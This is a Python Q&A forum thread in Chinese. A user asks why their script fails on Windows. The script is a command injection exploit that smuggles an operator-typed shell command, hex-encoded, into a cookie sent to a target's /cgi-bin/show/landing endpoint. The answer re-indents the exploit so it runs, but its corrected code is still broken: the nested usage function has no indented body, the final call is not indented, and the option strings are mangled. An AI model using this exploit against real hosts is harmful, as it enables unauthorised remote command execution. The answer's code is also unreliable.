窗口 Python 名称

2024-09-30 06:27:12 发布

您现在位置:Python中文网/ 问答频道 /正文

我收到此代码的名称错误。 错误消息:回溯(最近的呼叫最后): 文件“D:\注射.py“,第16行 选项,参数=getopt.getopt(argv,“h”,[“帮助”,“target=”]) 名称错误:未定义名称“argv”

#!/usr/bin/python

import sys
import getopt
import urllib

# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])

def main(argv):
        # set defaults
        target = None

   # parse command line options
try:
    opts, args = getopt.getopt(argv, "h", ["help", "target="])
except getopt.GetoptError:
            usage()
sys.exit(2)
for opt, arg in opts:
    if opt in ("-h", "--help"):
        usage()
        sys.exit()
    elif opt in ("--target"):
        target = arg

if target is None:
    target = raw_input("Enter target (hostname or IP): ")
url = "http://" + target + "/cgi-bin/show/landing"
command = raw_input("Enter command to inject: ")
encodedCommand = hexEncode("' .; " + command + ";'")
# uncomment the hacky line below if you want stderr output in the response 
#encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")

opener = urllib.build_opener()
opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
response = opener.open(url)
content = response.read()

print ("-----------------------------------------------------")
print ("GET " + url)
print ("Cookie: access_token=" + encodedCommand)
print ("-----------------------------------------------------")
print (content)

def usage():
print ("Usage: web-command-injection.py [options] ...")
print ("Configuration:")
print ("  --target=<hostname or IP>    Sets the target host.")
print ("Miscellaneous:")
print ("  -h                           Print usage options.")
print ("\n")

if __name__ == "__main__":
main(sys.argv[1:])

谁能帮我修好问题。这个代码在linux下可以完美地工作,但在windows中不行


Tags: inimport名称targetif错误sysusage
1条回答
网友
1楼 · 发布于 2024-09-30 06:27:12

有几个缩进错误。试试这个

# define hexEncode function
hexEncode = lambda x:"".join([hex(ord(c))[2:].zfill(2) for c in x])

def main(argv):
    # set defaults
    target = None

    # parse command line options
    try:
        opts, args = getopt.getopt(argv, "h", ["help", "target="])
    except getopt.GetoptError:
                usage()
    sys.exit(2)
    for opt, arg in opts:
        if opt in ("-h", " help"):
            usage()
            sys.exit()
        elif opt in (" target"):
            target = arg

    if target is None:
        target = raw_input("Enter target (hostname or IP): ")
    url = "http://" + target + "/cgi-bin/show/landing"
    command = raw_input("Enter command to inject: ")
    encodedCommand = hexEncode("' .; " + command + ";'")
    # uncomment the hacky line below if you want stderr output in the response
    #encodedCommand = hexEncode("' .; " + command + "&> /tmp/a; cat /tmp/a;'")

    opener = urllib.build_opener()
    opener.addheaders.append(('Cookie', 'access_token=' + encodedCommand))
    response = opener.open(url)
    content = response.read()

    print ("                          -")
    print ("GET " + url)
    print ("Cookie: access_token=" + encodedCommand)
    print ("                          -")
    print (content)

    def usage():
    print ("Usage: web-command-injection.py [options] ...")
    print ("Configuration:")
    print ("   target=<hostname or IP>    Sets the target host.")
    print ("Miscellaneous:")
    print ("  -h                           Print usage options.")
    print ("\n")

if __name__ == "__main__":
main(sys.argv[1:])

相关问题 更多 >

    热门问题